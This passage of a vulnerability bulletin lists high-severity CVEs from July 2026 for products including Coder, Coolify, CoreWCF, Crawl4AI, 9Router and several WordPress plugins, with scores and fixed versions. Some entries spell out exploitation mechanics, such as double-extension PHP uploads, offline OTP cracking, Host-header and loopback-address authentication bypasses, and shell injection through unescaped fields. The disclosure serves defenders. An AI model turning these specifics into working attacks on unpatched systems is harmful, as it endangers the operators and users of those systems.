| coder--coder              | Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, two flaws in Coder's OIDC login chained into account takeover. Email-based user matching fell back to linking by email without checking for an existing link to a different IdP subject and the `email_verified` claim was only enforced when present as a boolean `false` so an absent or non-boolean claim was treated as verified. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 restricts the email fallback to first-time and legacy linking and defaults `email_verified` to false when the claim is absent or of an unexpected type. As a workaround, configure the OIDC provider to disallow self-registration or to require email verification before issuing tokens.                                                                                                                                                                                                 | 2026-07-07 | 7.4        | <a href="#">CVE-2026-55075</a> |
| coder--coder              | Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, Coder's OIDC callback checked `email_verified` with a direct Go `bool` type assertion. When an IdP returned the claim as a non-boolean (for example the string `"false"`) or omitted it, the assertion failed open and the email was treated as verified. Combined with an unconditional email-based account fallback, this enabled account takeover. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 coerces `email_verified` across bool, string and numeric types (fail-closed) and blocks the email fallback when the matched user already has a different linked IdP subject. As a workaround, ensure the IdP returns `email_verified` as a native JSON boolean. The email-fallback linking issue has no configuration workaround; upgrading is required.                                                                                                                   | 2026-07-07 | 7.4        | <a href="#">CVE-2026-55076</a> |
| coder--coder              | Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, the `PUT /api/v2/users/{user}/password` endpoint authorized only `ActionUpdatePersonal` and did not prevent a `user-admin` from resetting an `owner` account's password. It also did not require the current password when an admin reset another user's password. Exploitation requires the privileged `user-admin` role so practical risk is limited to deployments that grant `user-admin` to less trusted operators. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 prevents non-owner users from resetting the password of an account that holds the `owner` role. As a workaround, restrict the `user-admin` role to trusted administrators.                                                                                                                                                                                                                              | 2026-07-07 | 7.2        | <a href="#">CVE-2026-55077</a> |
| coder--coder              | Coder allows organizations to provision remote development environments via Terraform. Prior to versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2, `coder open app` opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the `\$SESSION_TOKEN` placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler. Practical exploitation requires the victim to run `coder open app` against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs. The fix in versions 2.29.7, 2.32.7, 2.33.8, and 2.34.2 applies a URL-scheme allowlist in the CLI and limits `\$SESSION_TOKEN` substitution to trusted destinations like the web frontend. As a workaround, avoid running `coder open app` for untrusted workspaces.                                                                                                                                     | 2026-07-08 | 7.7        | <a href="#">CVE-2026-55431</a> |
| coder--coder              | Coder allows organizations to provision remote development environments via Terraform. Starting in version 2.30.0 and prior to versions 2.32.7, 2.33.8, and 2.34.2, the AI Bridge Proxy (`aibridgeproxyd`) created a goproxy server whose default transport set `InsecureSkipVerify: true` and only assigned a secure transport when an upstream proxy was configured. In the default configuration (no upstream proxy), outbound HTTPS to the Coder access URL accepted any TLS certificate. Practical exploitation requires an on-path (man-in-the-middle) position between the AI Bridge Proxy and the Coder server. Deployments where they are co-located over loopback are effectively unaffected. The fix in versions 2.32.7, 2.33.8, and 2.34.2 applies the secure transport (TLS 1.2 or higher using system root CAs) unconditionally. As a workaround, ensure the Coder access URL uses a trusted certificate and secure the network path between the AI Bridge Proxy and the Coder server (for example, loopback or mTLS). | 2026-07-08 | 7.4        | <a href="#">CVE-2026-55436</a> |
| Comfast--CF-WR631AX V3    | A vulnerability was determined in Comfast CF-WR631AX V3 up to 2.7.0.8. Affected by this vulnerability is the function system_wl_upload_pic_file of the file /usr/bin/webmgmt of the component FastCGI Backend. This manipulation of the argument filename causes os command injection. It is possible to initiate the attack                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-12 | 9.8        | <a href="#">CVE-2026-15511</a> |



# High Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                                                                                                                                                                                                                                                                                                   |            |            |                                |
| composer--composer        | Composer is a dependency Manager for the PHP language. Prior to 2.2.29 and 2.10.2, a maliciously crafted package from an untrusted repository other than Packagist.org or Private Packagist can cause Composer to write attacker-controlled files outside the vendor directory and outside the project during install or update by using an invalid package name that is not correctly validated before dependency-resolution results are written or installed. This issue is fixed in versions 2.2.29 and 2.10.2.                                                                            | 2026-07-08 | 7          | <a href="#">CVE-2026-59948</a> |
| coollabsio--coolify       | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.464, the cloneTo() Livewire action in ResourceOperations.php authorizes the source resource but resolves destination resources with unscoped Eloquent lookups, allowing an authenticated user to clone resources into destinations owned by other teams and access cross-tenant resources. This issue is fixed in version 4.0.0-beta.464.                                                                                                                             | 2026-07-07 | 9.9        | <a href="#">CVE-2026-34037</a> |
| coollabsio--coolify       | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.469, an authenticated remote command injection vulnerability in application deployment handling allows users with application write permissions to achieve remote code execution and exfiltrate sensitive environment variables through deployment logs via fields such as dockerfile_location and deployment commands. This issue is fixed in version 4.0.0-beta.469.                                                                                                | 2026-07-06 | 9.9        | <a href="#">CVE-2026-34038</a> |
| coollabsio--coolify       | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.471, terminal WebSocket bootstrap routes did not enforce the expected authorization middleware, allowing an authenticated user to access terminal functionality for resources outside the authorized scope and potentially execute commands. This issue is fixed in version 4.0.0-beta.471.                                                                                                                                                                           | 2026-07-07 | 9.9        | <a href="#">CVE-2026-34047</a> |
| coollabsio--coolify       | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.471, terminal websocket bootstrap routes only check authentication and do not enforce terminal authorization, allowing a low-privileged team member to connect to terminal routes and execute commands on team servers. This issue is fixed in version 4.0.0-beta.471.                                                                                                                                                                                                | 2026-07-07 | 9.9        | <a href="#">CVE-2026-34048</a> |
| coollabsio--coolify       | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.466, the sentinel_token setting is used in shell commands without sufficient validation, allowing an authenticated user with access to server Sentinel settings to inject shell syntax and execute commands on the host when Sentinel is restarted. This issue is fixed in version 4.0.0-beta.466.                                                                                                                                                                    | 2026-07-07 | 8.8        | <a href="#">CVE-2026-34034</a> |
| coollabsio--coolify       | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.466, log drain secret and environment values were interpolated into shell commands without sufficient encoding, allowing an authenticated user to inject commands executed on the host. This issue is fixed in version 4.0.0-beta.466.                                                                                                                                                                                                                                | 2026-07-07 | 8.8        | <a href="#">CVE-2026-34035</a> |
| coollabsio--coolify       | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.471, the database import Livewire component (app/Livewire/Project/Database/Import.php) allows client-controlled container and server properties to reach shell commands without locking or validation, allowing an authenticated user to inject commands through a database import container name. This issue is fixed in version 4.0.0-beta.471.                                                                                                                     | 2026-07-07 | 8.8        | <a href="#">CVE-2026-34057</a> |
| coollabsio--coolify       | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.471, the Livewire component Server\Resources exposes public methods (startUnmanaged, stopUnmanaged, restartUnmanaged) that accept a container ID parameter directly from the browser without any sanitization or escaping. This parameter is interpolated directly into shell commands executed via SSH on managed servers, enabling any authenticated team member to execute arbitrary OS commands on remote servers. This issue is fixed in version 4.0.0-beta.471. | 2026-07-07 | 8.8        | <a href="#">CVE-2026-34058</a> |
| coollabsio--coolify       | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.471, pre-deployment and post-deployment commands are single-quote escaped but then sent through SSH heredoc transport that preserves newlines, allowing an authenticated user to inject additional shell statements that execute on the remote server during deployment. This issue is fixed in version 4.0.0-beta.471.                                                                                                                                               | 2026-07-07 | 8.8        | <a href="#">CVE-2026-34152</a> |
| coollabsio--coolify       | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.471, LocalFileVolume::saveStorageOnServer builds shell commands using unescaped fs_path and parent_dir values before                                                                                                                                                                                                                                                                                                                                                  | 2026-07-06 | 8.8        | <a href="#">CVE-2026-34153</a> |

# High Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | validation, and submitFileStorage does not validate the user-controlled file-mount path before creating a volume, allowing an authenticated user who can add file storage to execute commands when the storage is saved. This issue is fixed in version 4.0.0-beta.471.                                                                                                                                                                                                                                                                                                                                                                                            |            |            |                                |
| coollabsio--coolify       | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.469, the executeInDocker() helper wraps user-controlled commands in single quotes without escaping embedded single quotes. Attackers who can edit application settings can inject a single quote into docker_compose_custom_build_command or docker_compose_custom_start_command to break out of the quoted context and execute arbitrary commands on the managed server host during deployments, escaping the intended Docker container confinement. This issue is fixed in version 4.0.0-beta.469.                                       | 2026-07-07 | 8.8        | <a href="#">CVE-2026-34158</a> |
| coollabsio--coolify       | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.471, the LocalPersistentVolume.name field is interpolated directly into docker volume shell commands without shell argument escaping, allowing an authenticated user to set a storage name containing shell metacharacters and execute commands on managed servers when the resource is deleted. This issue is fixed in version 4.0.0-beta.471.                                                                                                                                                                                            | 2026-07-07 | 8.8        | <a href="#">CVE-2026-34168</a> |
| coollabsio--coolify       | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.471, the GET /invitations/{uuid} endpoint can perform a state-changing password reset using an attacker-known invitation UUID, allowing an attacker who can cause a victim to visit the crafted invitation URL to reset the victim account password to a predictable value. This issue is fixed in version 4.0.0-beta.471.                                                                                                                                                                                                                 | 2026-07-07 | 8          | <a href="#">CVE-2026-34171</a> |
| coollabsio--coolify       | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.471, there is an authenticated command injection vulnerability in the GetLogs Livewire component which allows users with team membership (lowest privilege member role) to execute arbitrary commands as root on managed servers. The \$container Livewire public property is interpolated directly into shell commands (docker logs, docker service logs) without sanitization, and can be modified by any client via the Livewire wire protocol because it lacks the #[Locked] attribute. This issue is fixed in version 4.0.0-beta.471. | 2026-07-06 | 8.8        | <a href="#">CVE-2026-34599</a> |
| coollabsio--coolify       | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.471, user-controlled persistent volume names are interpolated into shell commands executed on managed servers without escaping or validation, allowing an authenticated member to inject shell metacharacters and execute commands as root when volume operations are triggered. This issue appears to be fixed in version 4.0.0-beta.471.                                                                                                                                                                                                 | 2026-07-07 | 8.8        | <a href="#">CVE-2026-42143</a> |
| coollabsio--coolify       | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.474, PostgreSQL healthcheck command generation used attacker-controlled database settings (postgres_user and postgres_db) in shell-form commands, allowing an authenticated user to inject commands executed in the database container. This issue is fixed in version 4.0.0-beta.474.                                                                                                                                                                                                                                                     | 2026-07-06 | 8.8        | <a href="#">CVE-2026-42153</a> |
| coollabsio--coolify       | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.474, PostgreSQL initialization script (generate_init_scripts() method in app/Actions/Database/StartPostgresql.php) filename handling did not sufficiently restrict paths, allowing an authenticated user to write files outside the intended directory and achieve command execution through database initialization. This issue is fixed in version 4.0.0-beta.474.                                                                                                                                                                       | 2026-07-07 | 8.8        | <a href="#">CVE-2026-42200</a> |
| coollabsio--coolify       | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. From 4.0.0-beta.471 through 4.0.0-beta.473, a regression in SHELL_SAFE_COMMAND_PATTERN allowed ampersands in custom Docker Compose build, start, and pre/post-deployment command fields, allowing an authenticated team member to inject shell commands that execute on the host. This issue is fixed in version 4.0.0-beta.474.                                                                                                                                                                                                                               | 2026-07-06 | 8.8        | <a href="#">CVE-2026-42204</a> |
| coollabsio--coolify       | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.469, Coolify's app/Jobs/ApplicationDeploymentJob.php generate_healthcheck_commands() function directly interpolated the health_check_host, health_check_method, and health_check_path parameters into shell commands without proper sanitization, allowing authenticated users to execute arbitrary commands inside deployment containers. This issue is fixed in version 4.0.0-beta.469.                                                                                                                                                  | 2026-07-09 | 8.8        | <a href="#">CVE-2026-59734</a> |

# High Vulnerabilities

| Primary Vendor -- Product                         | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Published  | CVSS Score | Source & Patch Info            |
|---------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| coollabsio--coolify                               | Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.466, the Logs::mount() component looks up resources by UUID without scoping the lookup to the current team, allowing an authenticated user to access logs for applications owned by other teams by supplying a victim resource UUID. This issue is fixed in version 4.0.0-beta.466.                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-07 | 7.7        | <a href="#">CVE-2026-34044</a> |
| CoreWCF--CoreWCF                                  | CoreWCF is a port of the service side of Windows Communication Foundation (WCF) to .NET Core. Prior to 1.8.1 and 1.9.1, CoreWCF SAML 1.1 and SAML 2.0 token validation does not correctly resolve the issuer signing key or require signed tokens when IdentityConfiguration is used with federated bindings, allowing an unauthenticated remote attacker to impersonate any principal the trusted STS could issue. This issue is fixed in versions 1.8.1 and 1.9.1.                                                                                                                                                                                                                                                                                                                        | 2026-07-08 | 10         | <a href="#">CVE-2026-54782</a> |
| CoreWCF--CoreWCF                                  | CoreWCF is a port of the service side of Windows Communication Foundation (WCF) to .NET Core. Prior to 1.8.1 and 1.9.1, an unauthenticated remote attacker that can reach a NetTcpBinding, NetNamedPipeBinding, or UnixDomainSocketBinding endpoint can trigger premature EOF handling in the CoreWCF net.tcp, net.pipe, or net.uds framing handshake and pin one server thread-pool worker at full CPU per connection. This issue is fixed in versions 1.8.1 and 1.9.1.                                                                                                                                                                                                                                                                                                                    | 2026-07-08 | 7.5        | <a href="#">CVE-2026-54772</a> |
| CoreWCF--CoreWCF                                  | CoreWCF is a port of the service side of Windows Communication Foundation (WCF) to .NET Core. Prior to 1.8.1 and 1.9.1, SamlSerializer skips final SignatureValue verification when a CoreWCF service validates SAML tokens using a non-X.509 signing token, allowing an attacker to reference a non-X.509 SecurityToken key identifier and bypass assertion signature verification. This issue is fixed in versions 1.8.1 and 1.9.1.                                                                                                                                                                                                                                                                                                                                                       | 2026-07-08 | 7.4        | <a href="#">CVE-2026-54774</a> |
| CoreWCF--CoreWCF                                  | CoreWCF is a port of the service side of Windows Communication Foundation (WCF) to .NET Core. Prior to 1.8.1 and 1.9.1, CoreWCF SAML token validation does not enforce SubjectConfirmation method URIs or holder-of-key proof keys in SamlSecurityTokenHandler, allowing holder-of-key downgrade or custom confirmation method assertions to authenticate a subject without proving authority over the assertion. This issue is fixed in versions 1.8.1 and 1.9.1.                                                                                                                                                                                                                                                                                                                          | 2026-07-08 | 7.4        | <a href="#">CVE-2026-54781</a> |
| CoreWCF--CoreWCF                                  | CoreWCF is a port of the service side of Windows Communication Foundation (WCF) to .NET Core. Prior to 1.8.1 and 1.9.1, CoreWCF WS-Security endorsing and supporting signature verification does not ensure the selected ds:Signature covers the expected Security header target, allowing an attacker with one captured signed SOAP envelope to replay arbitrary service operations as the victim principal. This issue is fixed in versions 1.8.1 and 1.9.1.                                                                                                                                                                                                                                                                                                                              | 2026-07-08 | 7.4        | <a href="#">CVE-2026-54783</a> |
| CoreWCF--CoreWCF                                  | CoreWCF is a port of the service side of Windows Communication Foundation (WCF) to .NET Core. In version 1.9.0, CoreWCF SPNEGO SecurityContextToken negotiation can expose the proof key recovered from the RSTR when TransportWithMessageCredential with Windows client credentials and session establishment are used, allowing an observer to impersonate the authenticated Windows principal and decrypt or forge WS-SecureConversation traffic. This issue is fixed in version 1.9.1.                                                                                                                                                                                                                                                                                                  | 2026-07-08 | 7.4        | <a href="#">CVE-2026-54784</a> |
| corvusinfo--CorvusPay WooCommerce Payment Gateway | The CorvusPay WooCommerce Payment Gateway plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'approval_code' parameter in all versions up to, and including, 2.7.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The unauthenticated REST endpoint POST /wp-json/corvuspay/success/ is registered with permission_callback set to __return_true, and although a signature validation step exists it only logs the result without halting execution, meaning an attacker can supply a completely arbitrary signature and have a malicious approval_code stored in the database unchallenged. | 2026-07-11 | 7.2        | <a href="#">CVE-2026-6939</a>  |
| Cotonti--Cotonti                                  | Cotonti Siena 0.9.26 and earlier contains a cross-site request forgery vulnerability that allows unauthenticated attackers to modify administrator configuration by tricking a logged-in administrator into submitting a forged POST request to the admin.php config update handler, which never invokes the application's CSRF validation function. Attackers can disable the PFS module's file extension whitelist by setting pfsfilecheck to 0, enabling any user with PFS access to upload and execute arbitrary PHP files on the server.                                                                                                                                                                                                                                               | 2026-07-09 | 8.8        | <a href="#">CVE-2026-58143</a> |
| coturn--coturn                                    | Coturn is a free open source implementation of TURN and STUN Server. Prior to 4.12.0, the coturn HTTPS admin panel passes HTTP query parameters directly into SQL queries via sprintf string interpolation without sanitization. The is_secure_string filter that protects the STUN protocol path is not applied to the admin panel's delete-user, delete-secret, and delete-IP operations, so an                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-10 | 7.2        | <a href="#">CVE-2026-53448</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                             | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                       | authenticated admin can inject arbitrary SQL through the du, ds, and dip parameters, gaining full database control and potentially OS-level access via PostgreSQL COPY TO PROGRAM. This issue is fixed in version 4.12.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |            |            |                                |
| coturn--coturn                                                        | Coturn is a free open source implementation of TURN and STUN Server. Prior to 4.13.0, coturn rejects loopback peers by default unless allow-loopback-peers is enabled, but the default loopback guard can be bypassed by using the IPv4-mapped IPv6 peer address ::ffff:127.0.0.1 in a TURN XOR-PEER-ADDRESS attribute. ioa_addr_is_loopback checks for the literal IPv6 loopback shape before IPv4-mapped IPv6 handling, so good_peer_addr does not apply the default loopback rejection and an authenticated TURN client can expose services bound only to localhost on the coturn host through TURN relay traffic. This issue is fixed in version 4.13.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-10 | 7.4        | <a href="#">CVE-2026-53450</a> |
| Crawl4AI--Crawl4AI                                                    | Crawl4AI before 0.8.7 contains an arbitrary file write vulnerability in the Docker API server's /screenshot and /pdf endpoints. The output_path parameter accepts arbitrary filesystem paths without validation, allowing an attacker to supply absolute or path-traversal values to write to any location writable by the application's user, overwriting server files and causing denial of service.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-12 | 9.1        | <a href="#">CVE-2026-56260</a> |
| Crawl4AI--Crawl4AI                                                    | Crawl4AI before 0.8.8 contains credential exfiltration vulnerabilities in the Docker API server that allow attackers to redirect LLM API calls to attacker-controlled endpoints and read arbitrary environment variables. Attackers can exploit the unauthenticated /md, /llm, and /llm/job endpoints by supplying a malicious base_url parameter and setting api_token to env:VARIABLE_NAME to exfiltrate provider API keys and server secrets including JWT SECRET_KEY for authentication bypass.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-12 | 8.2        | <a href="#">CVE-2026-56259</a> |
| Crawl4AI--Crawl4AI                                                    | Crawl4AI before 0.8.7 contains a server-side request forgery (SSRF) vulnerability in the Docker API server's /crawl/job and /llm/job endpoints, which accept webhook URLs without destination validation. An attacker can supply webhook URLs pointing to private or internal IP ranges, Docker networks, or cloud metadata endpoints (e.g. 169.254.169.254), causing the server to make requests to internal services and potentially expose cloud metadata.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-10 | 8.6        | <a href="#">CVE-2026-56261</a> |
| Creative Themes--Blocksy Companion                                    | Blocksy Companion Pro plugin for WordPress before 2.1.47 contains an unauthenticated arbitrary file upload vulnerability that allows attackers to upload executable files by bypassing extension validation in the save_attachments function exposed through the Advanced Reviews feature. Attackers can exploit the Custom Fonts extension's flawed strpos() substring check by uploading double-extension filenames such as shell.woff2.php, causing the validation to pass on the substring match while the web server executes the file as PHP, achieving remote code execution.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   | 2026-07-08 | 9.8        | <a href="#">CVE-2026-58480</a> |
| creativethemeshq--Blocksy Companion                                   | The Blocksy Companion plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.1.46 via the save_attachments function. This is due to the Custom Fonts extension registering a wp_check_filetype_and_ext filter that approves any filename containing .woff2 or .ttf as a substring via strpos() rather than validating that those strings appear as the final extension via PATHINFO_EXTENSION - allowing double-extension filenames such as shell.woff2.php to pass MIME validation and be handled as permitted font files. This makes it possible for unauthenticated attackers to upload files that may be executable, which makes remote code execution possible. This vulnerability is only exploitable when the premium version of the plugin (blocksy-companion-pro) is installed with both the WooCommerce Extra (Advanced Reviews) and Custom Fonts extensions active; the free blocksy-companion plugin does not contain the vulnerable code paths.                                                                                                                              | 2026-07-09 | 9.8        | <a href="#">CVE-2026-15158</a> |
| cyberlord92--miniOrange OTP Login, Verification and SMS Notifications | The miniOrange OTP Login, Verification and SMS Notifications plugin for WordPress is vulnerable to Authentication Bypass leading to Administrator Account Takeover in all versions up to, and including, 5.5.1. This is due to the `um_reset_password_process_hook()` function performing no server-side verification that the OTP validation step was completed, and relying solely on a public `form_nonce` nonce that the plugin itself emits to unauthenticated visitors via the `moumprvar` JavaScript object on the Ultimate Member password reset page, while still accepting the attacker-controlled `username_b` parameter to target any WordPress user without role restriction or any binding to a previously validated OTP session. This makes it possible for unauthenticated attackers to obtain a freshly generated password-reset URL for an arbitrary Administrator account - returned in a 302 `Location` header - and use it to take full control of that account. Exploitation requires the Ultimate Member Password Reset Form integration to be active and the plugin to not be configured for phone-only reset. | 2026-07-09 | 9.8        | <a href="#">CVE-2026-14245</a> |

# High Vulnerabilities

| Primary Vendor -- Product                                                                                | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| cyberlord92--miniOrange Social Login and Register (Discord, Google, Twitter, LinkedIn)                   | The miniOrange Social Login and Register (Discord, Google, Twitter, LinkedIn) plugin for WordPress is vulnerable to authentication bypass leading to account takeover in versions up to and including 7.7.0. This is due to the Profile Completion flow accepting an arbitrary email address via the 'email_field' POST parameter without verifying that the email belongs to the identity returned by the OAuth provider, combined with send_otp_token() returning the SHA-512(customer_key    otp) transaction hash to the client where the OTP space is only 99,000 values (wp_rand(1000, 99999)) and the customer_key is a static option (empty on unregistered installs). This makes it possible for unauthenticated attackers to trigger an OTP email to an arbitrary admin's address, crack the OTP offline from the leaked hash in under a second, and submit the cracked OTP to mo_openid_social_login_validate_otp(), which logs the attacker in as the user whose email was supplied - granting full administrator access. | 2026-07-10 | 9.8        | <a href="#">CVE-2026-12761</a> |
| D-link--DIR-823G                                                                                         | A weakness has been identified in D-link DIR-823G 1.0.2B05_20181207. Affected by this vulnerability is an unknown functionality of the file /etc/boa/boa.conf of the component Web Interface. Executing a manipulation can lead to least privilege violation. The attack can be launched remotely. The attack requires a high level of complexity. The exploitation appears to be difficult. The exploit has been made available to the public and could be used for attacks.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-09 | 7.5        | <a href="#">CVE-2026-15270</a> |
| danieliser--Popup Maker Boost Sales, Conversions, Optins, Subscribers with the Ultimate WP Popup Builder | The Popup Maker - Boost Sales, Conversions, Optins, Subscribers with the Ultimate WP Popup Builder plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.22.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with editor-level access and above, to install and activate an arbitrary plugin from an attacker-controlled URL, leading to remote code execution. Exploitation requires that a valid Popup Maker Pro license is active on the target site and that Popup Maker Pro is not yet installed, as these conditions are necessary for the legacy v1/connect/info endpoint to issue the bearer token used to satisfy the install endpoint's only non-spoofable validation check.                                                                                                                                                                                            | 2026-07-09 | 7.2        | <a href="#">CVE-2026-8848</a>  |
| Dassault Systmes--DELMIA Apriso                                                                          | An Improper Authentication vulnerability affecting DELMIA Apriso from Release 2020 through Release 2026 could allow an attacker to gain privileged access to the server.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-08 | 9.8        | <a href="#">CVE-2026-9695</a>  |
| decolua--9router                                                                                         | 9Router is an AI router & token saver. Prior to 0.4.80, the /api/settings/database endpoint allows full database export (containing all credentials, API keys, OAuth tokens, and settings) and full database import (complete overwrite) without any authentication requirement beyond the ALWAYS_PROTECTED middleware check, which only validates JWT or CLI token. This issue is fixed in version 0.4.80.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-10 | 9.9        | <a href="#">CVE-2026-55500</a> |
| decolua--9router                                                                                         | 9Router before 0.4.44 contains an OS command injection vulnerability in the unauthenticated POST /api/tunnel/tailscale-install endpoint (this route is not covered by the dashboard middleware matcher, so no authorization check is applied). The sudoPassword field from the request body is written to the stdin of a 'sudo -S sh' child process. When sudo does not prompt for a password (the process runs as root, NOPASSWD is configured, or a recent sudo timestamp cache exists), the sudoPassword value is interpreted by sh as a shell command, allowing a remote unauthenticated attacker to execute arbitrary OS commands. Exploitation evidence was first observed by the Shadowserver Foundation on 2026-07-04 (UTC).                                                                                                                                                                                                                                                                                                  | 2026-07-07 | 9.8        | <a href="#">CVE-2026-59800</a> |
| decolua--9router                                                                                         | 9Router is an AI router & token saver. Prior to 0.5.2, 9router protects /v1, /v1beta, /api/v1, and /api/v1beta in src/dashboardGuard.js but omits /codex before next.config.mjs rewrites /codex/* to /api/v1/responses. A remote unauthenticated attacker can send requests to /codex/* to bypass the API-key gate and cause the server to make upstream provider calls using operator-stored LLM provider credentials. This issue is fixed in version 0.5.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-10 | 8.6        | <a href="#">CVE-2026-55638</a> |
| decolua--9router                                                                                         | 9Router is an AI router & token saver. Prior to 0.5.2, 9router determines whether a /v1 LLM proxy request is local by reading the client-controlled Host header, allowing a remote unauthenticated attacker to send Host: localhost and bypass API-key authentication. In the default configuration, this exposes the /v1 proxy to upstream provider calls using stored provider credentials and allows /v1/search with the searxng provider_options.baseUrl parameter to drive server-side requests to internal or cloud-metadata hosts. This issue is fixed in version 0.5.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-10 | 8.2        | <a href="#">CVE-2026-55641</a> |
| decolua--9router                                                                                         | 9Router is an AI router & token saver. Prior to 0.5.2, 9router treats loopback requests as trusted and allows /v1/* access without an API key, so a same-host reverse proxy that forwards public traffic to the backend through 127.0.0.1 causes src/dashboardGuard.js to misclassify external requests as local. A remote unauthenticated attacker can access /v1 APIs such as /v1/models and may abuse                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-10 | 8.3        | <a href="#">CVE-2026-56675</a> |



# High Vulnerabilities

